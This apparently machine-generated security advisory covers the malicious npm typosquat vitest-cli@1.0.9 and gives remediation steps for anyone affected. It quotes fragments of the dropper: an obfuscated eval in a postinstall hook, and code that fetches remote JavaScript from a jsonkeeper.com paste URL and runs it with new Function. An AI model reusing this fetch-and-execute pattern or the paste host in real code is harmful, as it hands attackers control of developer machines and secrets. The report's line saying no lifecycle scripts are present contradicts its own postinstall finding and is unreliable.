OpenSSF/OSV advisory MAL-2026-6267 confirms this npm version as malicious. Package name \`vitest-cli\` impersonates the official Vitest project while declaring empty \`author\`, \`homepage\`, \`repository\`, and \`bugs\` metadata. The \`package.json\` declares \`scripts.postinstall: node scripts/postinstall.js\`, which auto-runs on every \`npm install\`.

Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to vitest-cli@1.0.9. The same advisory and Firewall decision cover these 5 recorded versions: 1.0.0, 1.0.3, 1.0.4, 1.0.7, 1.0.9. - Avoid installing vitest-cli@1.0.9. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% Package name \`vitest-cli\` impersonates the official Vitest project while declaring empty \`author\`, \`homepage\`, \`repository\`, and \`bugs\` metadata. The \`package.json\` declares \`scripts.postinstall: node scripts/postinstall.js\`, which auto-runs on every \`npm install\`. The postinstall reaches \`lib/postinstall/index.js\` line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via \`eval((function(p,a,c,k,e,d){...})(...))\`. Once decoded, the payload calls \`axios.get('https://jsonkeeper.com/external/W33XO')\` and executes the response's \`data.cookie\` field with \`new Function('require', r.data.cookie)(require)\`, retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed \`vitest\` and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct \`new Function\` execution of the response body is an unambiguous supply-chain attack. \#\# Source: ghsa-malware (965bb2e5371c6561cacd40167a0ec3b097441cce0f854fc0c981ca07d007d139) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** vitest-cli - **Ecosystem:** npm - **Version:** 1.0.9 - **Version published:** Not available - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-06-30T15:00:00.099Z - **Known versions:** 5 - **Latest version:** 1.0.9 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
